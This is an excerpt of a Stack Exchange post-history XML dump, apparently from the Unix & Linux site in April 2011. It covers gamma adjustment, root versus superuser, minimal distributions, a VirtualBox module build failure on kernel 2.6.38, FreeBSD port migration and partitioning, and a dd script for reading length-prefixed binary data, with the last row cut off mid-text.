  <row Id="26516" PostHistoryTypeId="2" PostId="10952" RevisionGUID="82fd3769-5790-4f5f-b27e-b80f1fe10d4c" CreationDate="2011-04-09T07:16:25.353" UserId="5535" Text="You should be able to adjust the gamma using the xgamma command." />
  <row Id="26517" PostHistoryTypeId="5" PostId="10945" RevisionGUID="d099c6b1-b5fd-43ea-b7c5-25c7608f9c55" CreationDate="2011-04-09T08:02:16.653" UserId="688" Comment="formatting" Text="How do I change my laptop monitor's gamma settings on Linux Mint 9 (preferably using a GUI interface)?" />
  <row Id="26518" PostHistoryTypeId="2" PostId="10953" RevisionGUID="8787944a-e712-4f86-ba74-b82f1064928b" CreationDate="2011-04-09T08:04:31.800" UserId="6167" Text="I think the program you are looking for is xvidtune." />
  <row Id="26519" PostHistoryTypeId="2" PostId="10954" RevisionGUID="87300eb1-fa11-4e37-8770-b23c9601c850" CreationDate="2011-04-09T08:23:11.537" UserId="5685" Text="You should try to follow the [TexLive installation notes for FreeBSD][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/freebsd-texlive/wiki/Installing" />
  <row Id="26520" PostHistoryTypeId="2" PostId="10955" RevisionGUID="a2f64699-0130-49db-a215-499486d32c6a" CreationDate="2011-04-09T08:30:26.163" UserId="688" Text="Why not use gnome-search-tool, the old GNOME GUI search? It works pretty well, and you can select between full-text search and filename search.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;It has a whole bunch of filtering options (more than anything I've seen yet). Here's all the options:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;Note that it doesn't use an index, so full-text search is ridiculous slow, but the filtering helps eliminate that. It's also primitive in that it finds only text, so there won't be for example contents for PDFs, OOo docs, metadata (e.g. music genre, document author, video framerate), etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/SPCXm.png&#xD;&#xA;  [2]: http://i.imgur.com/pZZpE.png" />
  <row Id="26521" PostHistoryTypeId="25" PostId="10951" RevisionGUID="fda9d7ea-b6bd-4bc5-ac48-6261f8976f6f" CreationDate="2011-04-09T09:09:04.693" Comment="http://twitter.com/#!/StackUnix/status/56644788992221184" />
  <row Id="26522" PostHistoryTypeId="2" PostId="10956" RevisionGUID="abf7d986-1c29-4c42-b54d-2eb4a19c7c2d" CreationDate="2011-04-09T09:17:40.863" UserId="3845" Text="Do they refer to the same thing or is root just a location in filesystem (its ultimate base) and superuser a privileged user (sort of equivalent of windows administrator account) ? Do they need the same password ? Is superuser the kernel itself?" />
  <row Id="26523" PostHistoryTypeId="1" PostId="10956" RevisionGUID="abf7d986-1c29-4c42-b54d-2eb4a19c7c2d" CreationDate="2011-04-09T09:17:40.863" UserId="3845" Text="What is the difference between root and superuser ?" />
  <row Id="26524" PostHistoryTypeId="3" PostId="10956" RevisionGUID="abf7d986-1c29-4c42-b54d-2eb4a19c7c2d" CreationDate="2011-04-09T09:17:40.863" UserId="3845" Text="érootà" />
  <row Id="26525" PostHistoryTypeId="2" PostId="10957" RevisionGUID="8c4df08f-2c21-48c7-acbf-106abf40e2d1" CreationDate="2011-04-09T09:26:20.637" UserId="5535" Text="'root' is traditionally the name given to the user account with superuser lever rights. In this respect they are one and the same, though there is no rule that I know of that says that the superuser account must be called root.&#xD;&#xA;&#xD;&#xA;It may be that the account was named 'root' due in part to the fact that only the superuser has write permission to the root directory (/)&#xD;&#xA;&#xD;&#xA;The Windows Administrator account is *not* analogous to the Unix superuser account since there are restrictions on what a Windows Administrator can do. The analog to root on Windows NT based OSes is the SYSTEM account, which cannot be used by an interactive user." />
  <row Id="26526" PostHistoryTypeId="2" PostId="10958" RevisionGUID="27e47e11-1766-41b3-aaeb-3dd49ed9abc1" CreationDate="2011-04-09T09:28:28.797" UserId="36" Text="Related to this is the firefox plugin https://www.eff.org/deeplinks/2010/06/encrypt-web-https-everywhere-firefox-extension&#xD;&#xA;&#xD;&#xA;As they note &#xD;&#xA;&#xD;&#xA;&gt; As always, even if you're at an HTTPS&#xD;&#xA;&gt; page, remember that unless Firefox&#xD;&#xA;&gt; displays a colored address bar and an&#xD;&#xA;&gt; unbroken lock icon in the bottom-right&#xD;&#xA;&gt; corner, the page is not completely&#xD;&#xA;&gt; encrypted and you may still be&#xD;&#xA;&gt; vulnerable to various forms of&#xD;&#xA;&gt; eavesdropping or hacking (in many&#xD;&#xA;&gt; cases, HTTPS Everywhere can't prevent&#xD;&#xA;&gt; this because sites incorporate&#xD;&#xA;&gt; insecure third-party content)." />
  <row Id="26527" PostHistoryTypeId="5" PostId="10957" RevisionGUID="9a903ff8-2291-4acd-b446-943f8420e62f" CreationDate="2011-04-09T09:31:24.597" UserId="5535" Comment="fixed typo" Text="'root' is traditionally the name given to the user account with superuser level rights. In this respect they are one and the same, though there is no rule that I know of that says that the superuser account must be called root.&#xD;&#xA;&#xD;&#xA;It may be that the account was named 'root' due in part to the fact that only the superuser has write permission to the root directory (/)&#xD;&#xA;&#xD;&#xA;The Windows Administrator account is *not* analogous to the Unix superuser account since there are restrictions on what a Windows Administrator can do. The analog to root on Windows NT based OSes is the SYSTEM account, which cannot be used by an interactive user." />
  <row Id="26528" PostHistoryTypeId="6" PostId="10946" RevisionGUID="9e44d478-4e35-4735-81f5-2a6e91c6196f" CreationDate="2011-04-09T10:41:58.410" UserId="885" Comment="edited tags" Text="élinuxàéfilesystemsàéperformanceà" />
  <row Id="26529" PostHistoryTypeId="5" PostId="10920" RevisionGUID="375d0aca-db72-4fe6-b7b7-7c76eaed747a" CreationDate="2011-04-09T10:51:28.257" UserId="2567" Comment="the old wm:s" Text="You can install any windowmanager on more or less any distribution.&#xD;&#xA;&#xD;&#xA;1. Find a distribution that has the hardware support you need&#xD;&#xA;2. install and configure either kde4, gnome3, xfce4 to do what you what it to do&#xD;&#xA;&#xD;&#xA;The Linux world is not as black and white as Windows and Mac, after you install the the base system you can spend a lifetime configure the graphics to look exactly like you want them to. All of the big windowmanagers has skin support that can more or less change how it behaves.&#xD;&#xA;&#xD;&#xA;So go crazy and see if you can find anything you like.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Side note**: &#xD;&#xA;There is a old page that ones tried to show the diversity on what your desktop could look like, [http://xwinman.org/][1]. But beware that it has not been updated for quite some time so the screenshots feel a little bit &quot;old&quot;.&#xD;&#xA;But the link shows that there is not 1 desktop look and feel, &#xD;&#xA;you can more or less do what you feel like.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xwinman.org/" />
  <row Id="26530" PostHistoryTypeId="2" PostId="10959" RevisionGUID="c39f585e-6ceb-40d2-bdd2-9828b323cfa0" CreationDate="2011-04-09T11:18:11.520" UserId="4807" Text="I was wondering if anyone had a minimal linux system with nothing but the bare minimum to boot. Is there any tutorials on the web, i couldn't seem to find any.&#xD;&#xA;&#xD;&#xA;Thank, giodamelio" />
  <row Id="26531" PostHistoryTypeId="1" PostId="10959" RevisionGUID="c39f585e-6ceb-40d2-bdd2-9828b323cfa0" CreationDate="2011-04-09T11:18:11.520" UserId="4807" Text="Make minimal linux disk live" />
  <row Id="26532" PostHistoryTypeId="3" PostId="10959" RevisionGUID="c39f585e-6ceb-40d2-bdd2-9828b323cfa0" CreationDate="2011-04-09T11:18:11.520" UserId="4807" Text="élinuxàébootöloaderà" />
  <row Id="26533" PostHistoryTypeId="2" PostId="10960" RevisionGUID="d3b71e36-dc7e-425b-9977-1dc1a2dbb829" CreationDate="2011-04-09T11:31:55.013" UserId="6103" Text="Look at slackware you build it as light or as heavy as you like" />
  <row Id="26534" PostHistoryTypeId="6" PostId="2692" RevisionGUID="8aa3f3ab-85e1-4494-9cdb-8ab3ea6ae21b" CreationDate="2011-04-09T11:36:52.253" UserId="885" Comment="edited tags" Text="élinuxàédistributionöchoiceàésmallödistributionà" />
  <row Id="26535" PostHistoryTypeId="6" PostId="10959" RevisionGUID="4206bcdd-3d84-4716-ab37-4205bd9993a5" CreationDate="2011-04-09T11:37:02.690" UserId="885" Comment="edited tags" Text="élinuxàédistributionöchoiceàésmallödistributionà" />
  <row Id="26536" PostHistoryTypeId="2" PostId="10961" RevisionGUID="979bb392-2a24-4af9-9ccc-938bacef9a4e" CreationDate="2011-04-09T11:57:54.817" UserId="1144" Text="Take a look at [Tiny Core Linux][1] that has a graphical interface in around 10 Megabytes. They also have Micro Core Linux which uses a text based console in around 6 Megabytes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://distro.ibiblio.org/tinycorelinux/" />
  <row Id="26537" PostHistoryTypeId="25" PostId="10956" RevisionGUID="a67f0b2e-a724-4701-94a7-4dc3ff1e151d" CreationDate="2011-04-09T12:09:05.077" Comment="http://twitter.com/#!/StackUnix/status/56690089333493760" />
  <row Id="26538" PostHistoryTypeId="2" PostId="10962" RevisionGUID="9e5361d7-7076-4df5-a36d-10662acd2594" CreationDate="2011-04-09T12:52:34.907" UserId="688" Text="I am running Debian 6, and decided to install 2.6.38 kernel from Unstable. I also installed the headers so that I can later on :&#xD;&#xA;&#xD;&#xA;    sudo apt-get install --target-release=unstable linux-image-2.6.38-2-686-bigmem linux-headers-2.6.38-2-686-bigmem&#xD;&#xA;&#xD;&#xA;I then re-installed **`virtualbox-ose-dkms`** to that the VirtualBox drivers for 2.6.38 can be rebuilt (so that I can use VirtualBox under 2.6.38), but I get this error:&#xD;&#xA;&#xD;&#xA;    Building initial module for 2.6.38-2-686-bigmem&#xD;&#xA;&#xD;&#xA;    Error! Bad return status for module build on kernel: 2.6.38-2-686-bigmem (i686)&#xD;&#xA;    Consult the make.log in the build directory&#xD;&#xA;    /var/lib/dkms/virtualbox-ose/3.2.10/build/ for more information.&#xD;&#xA;    dpkg: error processing virtualbox-ose-dkms (--configure):&#xD;&#xA;     subprocess installed post-installation script returned error exit status 10&#xD;&#xA;    configured to not write apport reports&#xD;&#xA;                                          Errors were encountered while processing:&#xD;&#xA;     virtualbox-ose-dkms&#xD;&#xA;    E: Sub-process /usr/bin/dpkg returned an error code (1)&#xD;&#xA;&#xD;&#xA;Here's the contents of the file they asked me to look at:&#xD;&#xA;&#xD;&#xA;    $ cat /var/lib/dkms/virtualbox-ose/3.2.10/build/make.log &#xD;&#xA;    DKMS make.log for virtualbox-ose-3.2.10 for kernel 2.6.38-2-686-bigmem (i686)&#xD;&#xA;    Sat Apr  9 14:11:57 SAST 2011&#xD;&#xA;    make: Entering directory `/usr/src/linux-headers-2.6.38-2-686-bigmem'&#xD;&#xA;      LD      /var/lib/dkms/virtualbox-ose/3.2.10/build/built-in.o&#xD;&#xA;      LD      /var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/built-in.o&#xD;&#xA;      CC [M]  /var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/linux/SUPDrv-linux.o&#xD;&#xA;    In file included from /var/lib/dkms/virtualbox-ose/3.2.10/build/include/VBox/types.h:30,&#xD;&#xA;                     from /var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/linux/../SUPDrvInternal.h:35,&#xD;&#xA;                     from /var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/linux/SUPDrv-linux.c:33:&#xD;&#xA;    /var/lib/dkms/virtualbox-ose/3.2.10/build/include/iprt/types.h:97:31: error: linux/autoconf.h: No such file or directory&#xD;&#xA;    /var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/linux/SUPDrv-linux.c: In function ‘VBoxDrvLinuxInit’:&#xD;&#xA;    /var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/linux/SUPDrv-linux.c:451: error: ‘nmi_watchdog’ undeclared (first use in this function)&#xD;&#xA;    /var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/linux/SUPDrv-linux.c:451: error: (Each undeclared identifier is reported only once&#xD;&#xA;    /var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/linux/SUPDrv-linux.c:451: error: for each function it appears in.)&#xD;&#xA;    /var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/linux/SUPDrv-linux.c:451: error: ‘NMI_IO_APIC’ undeclared (first use in this function)&#xD;&#xA;    /var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/linux/SUPDrv-linux.c:465: error: ‘nmi_active’ undeclared (first use in this function)&#xD;&#xA;    make[4]: *** [/var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv/linux/SUPDrv-linux.o] Error 1&#xD;&#xA;    make[3]: *** [/var/lib/dkms/virtualbox-ose/3.2.10/build/vboxdrv] Error 2&#xD;&#xA;    make[2]: *** [_module_/var/lib/dkms/virtualbox-ose/3.2.10/build] Error 2&#xD;&#xA;    make[1]: *** [sub-make] Error 2&#xD;&#xA;    make: *** [all] Error 2&#xD;&#xA;    make: Leaving directory `/usr/src/linux-headers-2.6.38-2-686-bigmem'&#xD;&#xA;" />
  <row Id="26539" PostHistoryTypeId="1" PostId="10962" RevisionGUID="9e5361d7-7076-4df5-a36d-10662acd2594" CreationDate="2011-04-09T12:52:34.907" UserId="688" Text="I am failing to build VirtualBox driver for Linux 2.6.38" />
  <row Id="26540" PostHistoryTypeId="3" PostId="10962" RevisionGUID="9e5361d7-7076-4df5-a36d-10662acd2594" CreationDate="2011-04-09T12:52:34.907" UserId="688" Text="ékernelàécompilingà" />
  <row Id="26541" PostHistoryTypeId="6" PostId="10962" RevisionGUID="f232ec84-0aee-4ae0-ab6c-03995221f9dc" CreationDate="2011-04-09T13:35:22.260" UserId="885" Comment="edited tags" Text="ékernelàécompilingàévirtualboxàékernelömodulesà" />
  <row Id="26542" PostHistoryTypeId="2" PostId="10963" RevisionGUID="471fba26-d765-4e5c-bd14-9d84b1270287" CreationDate="2011-04-09T13:55:52.450" UserId="5664" Text="Solved!! THANK YOU FOR EVERYONE!!! :)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;This is how the problem is resolved:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;remove all &quot;nomodeset&quot; word from: &lt;br&gt;&#xD;&#xA;/boot/grub/grub.conf&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;/etc/X11/xorg.conf&lt;br&gt;&#xD;&#xA;find &quot;vesa&quot; replace it with &quot;intel&quot;&lt;br&gt;" />
  <row Id="26543" PostHistoryTypeId="2" PostId="10964" RevisionGUID="5293ca2d-f001-40b8-9afd-fc0dec3b5f54" CreationDate="2011-04-09T14:26:28.787" UserId="885" Text="`autoconf.h` [moved from `include/linux` to `include/generated`](http://kerneltrap.org/mailarchive/git-commits-head/2009/12/17/20634) in Linux [2.6.33](http://lxr.linux.no/#linux+v2.6.33/Makefile#L345). Authors of third-party modules must adapt their code; this has already been [done upstream for VirtualBox](http://comments.gmane.org/gmane.comp.emulators.virtualbox.devel/3594). In the meantime, you can [either patch the module source or create a symbolic link as a workaround](http://forums.virtualbox.org/viewtopic.php?f=7&amp;p=173096).&#xD;&#xA;" />
  <row Id="26544" PostHistoryTypeId="25" PostId="10962" RevisionGUID="2bc70df0-a769-4885-9c90-13f7d2087fa9" CreationDate="2011-04-09T15:09:05.780" Comment="http://twitter.com/#!/StackUnix/status/56735390110990336" />
  <row Id="26545" PostHistoryTypeId="2" PostId="10965" RevisionGUID="fe4d9409-56a8-4903-a174-6043b656b851" CreationDate="2011-04-09T15:22:57.250" UserId="3397" Text="On debianized linux distros there is dpkg --get-selections, dpkg --set-selections, dpkg -C.  I am wondering if something like this exists for FreeBSD(ports not packages).  I can get the list from pkg_info, but is there a simple way to apply it without cut, for port in list, cd, make install?" />
  <row Id="26546" PostHistoryTypeId="1" PostId="10965" RevisionGUID="fe4d9409-56a8-4903-a174-6043b656b851" CreationDate="2011-04-09T15:22:57.250" UserId="3397" Text="Is there a port list migration command set for FreeBSD?" />
  <row Id="26547" PostHistoryTypeId="3" PostId="10965" RevisionGUID="fe4d9409-56a8-4903-a174-6043b656b851" CreationDate="2011-04-09T15:22:57.250" UserId="3397" Text="éfreebsdàéportsàémigrationàémanagementà" />
  <row Id="26548" PostHistoryTypeId="5" PostId="10964" RevisionGUID="67947db9-bcce-43b0-ade8-48c2a7966f36" CreationDate="2011-04-09T15:40:22.033" UserId="885" Comment="address NMI watchdog part" Text="`autoconf.h` [moved from `include/linux` to `include/generated`](http://kerneltrap.org/mailarchive/git-commits-head/2009/12/17/20634) in Linux [2.6.33](http://lxr.linux.no/#linux+v2.6.33/Makefile#L345). Authors of third-party modules must adapt their code; this has already been [done upstream for VirtualBox](http://comments.gmane.org/gmane.comp.emulators.virtualbox.devel/3594). In the meantime, you can [either patch the module source or create a symbolic link as a workaround](http://forums.virtualbox.org/viewtopic.php?f=7&amp;p=173096).&#xD;&#xA;&#xD;&#xA;As for the NMI-related errors, the [NMI watchdog has changed a lot between 2.6.37 and 2.6.38](http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=history;f=arch/x86/include/asm/nmi.h;h=4886a68f267e8b4a45eb9c872595b37d21c238ac;hb=HEAD). This looks like it requires a nontrivial porting effort on the module source code. In the meantime, you might have [some luck just patching out the offending code](http://forums.gentoo.org/viewtopic-t-871025.html). The purpose of the [NMI watchdog](http://www.kernel.org/doc/Documentation/nmi_watchdog.txt) is to debug kernel lockups, so it's something you can live without.&#xD;&#xA;" />
  <row Id="26549" PostHistoryTypeId="6" PostId="5005" RevisionGUID="b59a96ca-4a68-46b1-8767-86897a2e3817" CreationDate="2011-04-09T15:43:34.637" UserId="885" Comment="edited tags" Text="ésecurityàépasswordàégnomeökeyringàékdewalletà" />
  <row Id="26550" PostHistoryTypeId="5" PostId="10965" RevisionGUID="537f4b2a-8e56-4b2a-9c13-b299844141e2" CreationDate="2011-04-09T15:43:59.723" UserId="885" Comment="describe the Debian commands; formatting" Text="On debianized linux distros there is `dpkg --get-selections`, `dpkg --set-selections`, `dpkg -C` to respectively list installed packages, select a list of packages for installations, and list packages that are in a partially installed or broken state.  I am wondering if something like this exists for FreeBSD (ports, not packages).  I can get the list from `pkg_info`, but is there a simple way to apply it without `cut`, `for port in list`, `cd`, `make install`?&#xD;&#xA;" />
  <row Id="26551" PostHistoryTypeId="6" PostId="10965" RevisionGUID="537f4b2a-8e56-4b2a-9c13-b299844141e2" CreationDate="2011-04-09T15:43:59.723" UserId="885" Comment="describe the Debian commands; formatting" Text="épackageömanagementàéfreebsdàéportsàémigrationà" />
  <row Id="26552" PostHistoryTypeId="2" PostId="10966" RevisionGUID="5c3c141d-ee02-465d-8db2-d3677bf84842" CreationDate="2011-04-09T15:44:56.197" UserId="2343" Text="**`dd`** reads binary data efficiently...&#xD;&#xA;&#xD;&#xA;You say &quot;character&quot;, and I *assume* you mean &quot;byte&quot;...   &#xD;&#xA;but the word &quot;character&quot; has become ambiguous in these days of UNICODE, where only the 7-bit ASCII character-set uses a single byte per character... And even within the Unicode system,  byte counts vary depending on the method of encoding *characters*, eg. UTF-8, UTF-16, etc.    &#xD;&#xA;&#xD;&#xA;Here is a simple script to highlight the difference between a Text &quot;character&quot; and bytes.     &#xD;&#xA;&#xD;&#xA;    STRING=&quot;௵&quot;  &#xD;&#xA;    echo &quot;CHAR count is: ${#STRING}&quot;  &#xD;&#xA;    echo &quot;BYTE count is: $(echo -n $STRING|wc -c)&quot; &#xD;&#xA;    # CHAR count is: 1&#xD;&#xA;    # BYTE count is: 3  # UTF-8 ecnoded (on my system)&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;   &#xD;&#xA;If you mean that each character is always 1 byte, then this script should do the trick.  &#xD;&#xA;`dd` is quite indifferent to anything other than *byte data*... &#xD;&#xA;&#xD;&#xA;This script uses **`dd`** to read the binary file and outputs the strings seperated by a &quot;====&quot; divider...  See next script for test data  &#xD;&#xA;&#xD;&#xA;    #   &#xD;&#xA;    div=&quot;=================================&quot;; echo $div&#xD;&#xA;    ((skip=0)) # read bytes at this offset&#xD;&#xA;    while ( true ) ; do&#xD;&#xA;      # Get the &quot;length&quot; byte&#xD;&#xA;      ((count=1)) # count of bytes to read&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=datalen 2&gt;/dev/null&#xD;&#xA;      (( $(&lt;datalen wc -c) != count )) &amp;&amp; { echo &quot;INFO: End-Of-File&quot; ; break ; }&#xD;&#xA;      strlen=$((0x$(&lt;datalen xxd -ps)))  # xxd is shipped as part of the 'vim-common' package&#xD;&#xA;      #&#xD;&#xA;      # Get the string&#xD;&#xA;      ((count=strlen)) # count of bytes to read&#xD;&#xA;      ((skip+=1))      # read bytes from and including this offset&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=dataline 2&gt;/dev/null&#xD;&#xA;      ddgetct=$(&lt;dataline wc -c)&#xD;&#xA;      (( ddgetct != count )) &amp;&amp; { echo &quot;ERROR: Line data length ($ddgetct) is not as expected ($count) at offset ($skip).&quot; ; break ; }&#xD;&#xA;      echo -e &quot;\n$div&quot; &gt;&gt;dataline # add a newline for TEST PURPOSES ONLY...&#xD;&#xA;      cat dataline&#xD;&#xA;      #&#xD;&#xA;      ((skip=skip+count))  # read bytes from and including this offset&#xD;&#xA;    done&#xD;&#xA;    #   &#xD;&#xA;    echo&#xD;&#xA; &#xD;&#xA;exit&#xD;&#xA;&#xD;&#xA;This script builds test data which includes a 3-byte prefix per line...  &#xD;&#xA;The prefix is a single UTF-8 encoded Unicode character...  &#xD;&#xA;&#xD;&#xA;    # build test data&#xD;&#xA;    # ===============&#xD;&#xA;      prefix=&quot;௵&quot;   # prefix all non-zero length strings will this obvious 3-byte marker.&#xD;&#xA;      prelen=$(echo -n $prefix|wc -c)&#xD;&#xA;      printf \\0 &gt; binfile  # force 1st string to be zero-length (to check zero-length logic) &#xD;&#xA;      ( lmax=3 # line max ... the last on is set to  255-length (to check  max-length logic)&#xD;&#xA;        for ((i=1;i&lt;=$lmax;i++)) ; do    # add prefixed random length lines &#xD;&#xA;          suflen=$(numrandom /0..$((255-prelen))/)  # random length string (min of 3 bytes)&#xD;&#xA;          ((i==lmax)) &amp;&amp; ((suflen=255-prelen))      # make last line full length (255) &#xD;&#xA;          strlen=$((prelen+suflen))&#xD;&#xA;          printf \\$((($strlen/64)*100+$strlen%64/8*10+$strlen%8))&quot;$prefix&quot;&#xD;&#xA;          for ((j=0;j&lt;suflen;j++)) ; do&#xD;&#xA;            byteval=$(numrandom /9,10,32..126/)  # output only printabls ASCII characters&#xD;&#xA;            printf \\$((($byteval/64)*100+$byteval%64/8*10+$byteval%8))&#xD;&#xA;          done&#xD;&#xA;            # 'numrandom' is from package 'num-utils&quot;&#xD;&#xA;        done&#xD;&#xA;      ) &gt;&gt;binfile&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="26553" PostHistoryTypeId="2" PostId="10967" RevisionGUID="3ff38cc9-ce28-4512-981e-132fe3d0ec39" CreationDate="2011-04-09T15:48:05.740" UserId="2441" Text="I have a Samsung N150 netbook with 160 GB hard disk. I want to install FreeBSD OS. There will be no other OSs, no dual booting or like that, just FreeBSD. So the manual says to have a separate partition for /var, /usr and /  &#xD;&#xA;Earlier I used Ubuntu where I created / with 30 GB and rest for /home. But what will be the optimal disk size for use in FreeBSD? How much can /var grow into? Also if I install applications from ports where will it go? Is it to /usr/local/bin or /opt? Which is recommended?  &#xD;&#xA;My usage will be as a development machine. i.e it will have all my personal stuffs like music plus development software, server etc. I think of having separate partitions for keeping development files and mounting when ever required. Also separate partition for other stuffs like music, docs etc. So that even if I reformat the OS, I will only have to wipe the OS files, and not my personal files. So which format (like ext4 or zfs) should those partitions have? Can those be on extended partition since FreeBSD need a primary partition. &#xD;&#xA;" />
  <row Id="26554" PostHistoryTypeId="1" PostId="10967" RevisionGUID="3ff38cc9-ce28-4512-981e-132fe3d0ec39" CreationDate="2011-04-09T15:48:05.740" UserId="2441" Text="How much disk space should be allocated for FreeBSD?" />
  <row Id="26555" PostHistoryTypeId="3" PostId="10967" RevisionGUID="3ff38cc9-ce28-4512-981e-132fe3d0ec39" CreationDate="2011-04-09T15:48:05.740" UserId="2441" Text="éfilesystemsàépartitionàéfreebsdà" />
  <row Id="26556" PostHistoryTypeId="5" PostId="10966" RevisionGUID="c3009b15-38ca-4378-80cf-a5ed5305980d" CreationDate="2011-04-09T15:50:23.633" UserId="2343" Comment="added 24 characters in body; added 3 characters in body; deleted 39 characters in body; added 79 characters in body" Text="**`dd`** reads binary data efficiently...&#xD;&#xA;&#xD;&#xA;You say &quot;character&quot;, and I *assume* you mean &quot;byte&quot;...   &#xD;&#xA;but the word &quot;character&quot; has become ambiguous in these days of UNICODE, where only the 7-bit ASCII character-set uses a single byte per character... And even within the Unicode system,  byte counts vary depending on the method of encoding *characters*, eg. UTF-8, UTF-16, etc.    &#xD;&#xA;&#xD;&#xA;Here is a simple script to highlight the difference between a Text &quot;character&quot; and bytes.     &#xD;&#xA;&#xD;&#xA;    STRING=&quot;௵&quot;  &#xD;&#xA;    echo &quot;CHAR count is: ${#STRING}&quot;  &#xD;&#xA;    echo &quot;BYTE count is: $(echo -n $STRING|wc -c)&quot; &#xD;&#xA;    # CHAR count is: 1&#xD;&#xA;    # BYTE count is: 3  # UTF-8 ecnoded (on my system)&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;   &#xD;&#xA;If your length **character** is 1-byte long and indicates a **byte-length**, then this script should do the trick, even if the data contains Unicode characters... *`dd`* only sees *bytes* regardless of any locale setting... &#xD;&#xA;&#xD;&#xA;This script uses *`dd`* to read the binary file and outputs the strings seperated by a &quot;====&quot; divider...  See next script for test data  &#xD;&#xA;&#xD;&#xA;    #   &#xD;&#xA;    div=&quot;=================================&quot;; echo $div&#xD;&#xA;    ((skip=0)) # read bytes at this offset&#xD;&#xA;    while ( true ) ; do&#xD;&#xA;      # Get the &quot;length&quot; byte&#xD;&#xA;      ((count=1)) # count of bytes to read&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=datalen 2&gt;/dev/null&#xD;&#xA;      (( $(&lt;datalen wc -c) != count )) &amp;&amp; { echo &quot;INFO: End-Of-File&quot; ; break ; }&#xD;&#xA;      strlen=$((0x$(&lt;datalen xxd -ps)))  # xxd is shipped as part of the 'vim-common' package&#xD;&#xA;      #&#xD;&#xA;      # Get the string&#xD;&#xA;      ((count=strlen)) # count of bytes to read&#xD;&#xA;      ((skip+=1))      # read bytes from and including this offset&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=dataline 2&gt;/dev/null&#xD;&#xA;      ddgetct=$(&lt;dataline wc -c)&#xD;&#xA;      (( ddgetct != count )) &amp;&amp; { echo &quot;ERROR: Line data length ($ddgetct) is not as expected ($count) at offset ($skip).&quot; ; break ; }&#xD;&#xA;      echo -e &quot;\n$div&quot; &gt;&gt;dataline # add a newline for TEST PURPOSES ONLY...&#xD;&#xA;      cat dataline&#xD;&#xA;      #&#xD;&#xA;      ((skip=skip+count))  # read bytes from and including this offset&#xD;&#xA;    done&#xD;&#xA;    #   &#xD;&#xA;    echo&#xD;&#xA; &#xD;&#xA;exit&#xD;&#xA;&#xD;&#xA;This script builds test data which includes a 3-byte prefix per line...  &#xD;&#xA;The prefix is a single UTF-8 encoded Unicode character...  &#xD;&#xA;&#xD;&#xA;    # build test data&#xD;&#xA;    # ===============&#xD;&#xA;      prefix=&quot;௵&quot;   # prefix all non-zero length strings will this obvious 3-byte marker.&#xD;&#xA;      prelen=$(echo -n $prefix|wc -c)&#xD;&#xA;      printf \\0 &gt; binfile  # force 1st string to be zero-length (to check zero-length logic) &#xD;&#xA;      ( lmax=3 # line max ... the last on is set to  255-length (to check  max-length logic)&#xD;&#xA;        for ((i=1;i&lt;=$lmax;i++)) ; do    # add prefixed random length lines &#xD;&#xA;          suflen=$(numrandom /0..$((255-prelen))/)  # random length string (min of 3 bytes)&#xD;&#xA;          ((i==lmax)) &amp;&amp; ((suflen=255-prelen))      # make last line full length (255) &#xD;&#xA;          strlen=$((prelen+suflen))&#xD;&#xA;          printf \\$((($strlen/64)*100+$strlen%64/8*10+$strlen%8))&quot;$prefix&quot;&#xD;&#xA;          for ((j=0;j&lt;suflen;j++)) ; do&#xD;&#xA;            byteval=$(numrandom /9,10,32..126/)  # output only printabls ASCII characters&#xD;&#xA;            printf \\$((($byteval/64)*100+$byteval%64/8*10+$byteval%8))&#xD;&#xA;          done&#xD;&#xA;            # 'numrandom' is from package 'num-utils&quot;&#xD;&#xA;        done&#xD;&#xA;      ) &gt;&gt;binfile&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="26557" PostHistoryTypeId="5" PostId="10966" RevisionGUID="528b768f-17c0-4850-a49e-63aaf3ebc05b" CreationDate="2011-04-09T16:00:09.027" UserId="2343" Comment="added 35 characters in body" Text="**`dd`** reads any and all  data...  It certainly won't baulk at \x00...    &#xD;&#xA;&#xD;&#xA;You say &quot;character&quot;, and I *assume* you mean &quot;byte&quot;...   &#xD;&#xA;but the word &quot;character&quot; has become ambiguous in these days of UNICODE, where only the 7-bit ASCII character-set uses a single byte per character... And even within the Unicode system,  byte counts vary depending on the method of encoding *characters*, eg. UTF-8, UTF-16, etc.    &#xD;&#xA;&#xD;&#xA;Here is a simple script to highlight the difference between a Text &quot;character&quot; and bytes.     &#xD;&#xA;&#xD;&#xA;    STRING=&quot;௵&quot;  &#xD;&#xA;    echo &quot;CHAR count is: ${#STRING}&quot;  &#xD;&#xA;    echo &quot;BYTE count is: $(echo -n $STRING|wc -c)&quot; &#xD;&#xA;    # CHAR count is: 1&#xD;&#xA;    # BYTE count is: 3  # UTF-8 ecnoded (on my system)&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;   &#xD;&#xA;If your length 